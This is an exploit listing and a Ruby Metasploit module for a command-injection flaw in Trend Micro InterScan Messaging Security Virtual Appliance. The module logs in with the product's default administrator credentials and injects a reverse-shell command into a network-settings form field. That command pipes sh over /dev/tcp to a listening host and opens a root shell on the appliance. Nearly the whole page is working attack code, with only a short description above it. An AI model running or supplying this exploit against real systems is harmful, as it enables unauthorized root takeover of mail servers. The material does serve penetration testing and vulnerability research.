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Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Posted Aug 18, 2017
Authored by Mehmet Ince, Cody Sixteen | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the Trend Micro IMSVA product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. WizardSetting_sys.imss endpoint takes several user inputs and performs LAN settings. After that it use them as argument of predefined operating system command without proper sanitation. It's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.

tags | exploit, web, arbitrary, root
MD5 | 7eadfd94788e579c42212511e87507fe

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the Trend Micro
IMSVA product. An authenticated user can execute a terminal command under
the context of the web server user which is root. Besides, default installation
of IMSVA comes with a default administrator credentials.

WizardSetting_sys.imss endpoint takes several user inputs and performs LAN settings.
After that it use them as argument of predefined operating system command
without proper sanitation. It's possible to inject arbitrary commands into it.

InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cody Sixteen <610code\at\gmail.com>', # found bug, rewrite poc
'Mehmet Ince <mehmet\at\mehmetince.net>' # msf module based on pentest.blog
],
'References' =>
[
['CVE', '2017-not-yet'],
['URL', 'https://code610.blogspot.com/2017/08/rce-in-trend-micro-imsva-91.html'],
['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x2f\x22"
},
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => [''],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Aug 18 2017',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
Opt::RPORT(8445)
]
)
end

def login

user = datastore['USERNAME']
pass = datastore['PASSWORD']

print_status("Attempting to login with #{user}:#{pass}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.imss'),
'vars_post' => {
'userid' => user,
'pwdfake' => Rex::Text::encode_base64(pass)
}
})

if res && res.body.include?("The user name or password you entered is invalid")
fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
end

cookie = res.get_cookies
if res.code == 302 && cookie.include?("JSESSIONID")
jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
print_good("Authenticated as #{user}:#{pass}")
return jsessionid
end

nil
end

def exploit

jsessionid = login

unless jsessionid
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
end

# Somehow java stores last visited url on session like viewstate!
# Visit form before submitting it. Otherwise, it will cause a crash.

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'WizardSetting_sys.imss?direct=next'),
'cookie' => "JSESSIONID=#{jsessionid}"
})

if !res
fail_with(Failure::Unknown, 'Unable to visit WizardSetting_sys.imss')
end

print_status("Delivering payload...")

# payload ; thanks goes to: bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
# remember to set your listening nc in 2nd window
cmd = "eth0'; 0<&196;exec 196<>/dev/tcp/192.168.56.106/9999;sh <&196 >&196 2>&196 ;#"

# print_status("payload: #{cmd}") ;]
payl = cmd.encode

# go.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'WizardSetting_sys.imss'),
'cookie' => "JSESSIONID=#{jsessionid}",
'vars_get' => {
'direct' => 'next'
},
'vars_post' => {
'time_distance' => '0',
'sys_ipv4_addr_eth0' => '192.168.56.34',
'sys_ipv4_mask_eth0' => '255.255.255.0',
'sys_desname' => "#{cmd}",
'sys_hostname' => 'trend.me',
'sys_ipv4_gateway' => '192.168.56.1',
'sys_ipv4_pri_dns' => '192.168.56.1',
'sys_ipv4_sec_dns' => '',
'sys_tz_cont' => 'America',
'sys_tz_regn' => 'United+States',
'sys_tz_city' => 'New_York',
}
})
print_status("Payload finished.")
end

end

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